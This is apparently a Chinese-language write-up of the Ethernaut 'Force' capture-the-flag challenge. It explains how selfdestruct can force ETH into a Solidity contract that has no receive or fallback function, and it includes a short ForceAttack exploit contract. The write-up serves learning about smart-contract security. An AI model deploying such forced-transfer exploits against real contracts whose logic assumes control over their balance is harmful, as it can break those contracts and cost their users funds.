Skip to main content

Force

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

题目要求

给当前合约实现转账 ETH 即可

题目分析

想要给一个合约直接转账 ETH,这个合约需要实现receivefallback方法。但是有一种情况是被动必须接收。就是当一个合约调用自毁方法selfdestruct时指定了收款地址。则该地址不管是个人地址还是合约地址,都会强制接收 ETH。

攻击步骤

  1. 编写一个自毁合约
  2. 给编写的合约转账 ETH
  3. 调用合约的selfdestruct方法并指定收款地址为目标合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract ForceAttack {
// 设置_force为目标攻击合约
function descruct(address payable _force) external payable {
selfdestruct(_force);
}

// 首先转账ETH到当前合约
receive() external payable {}
}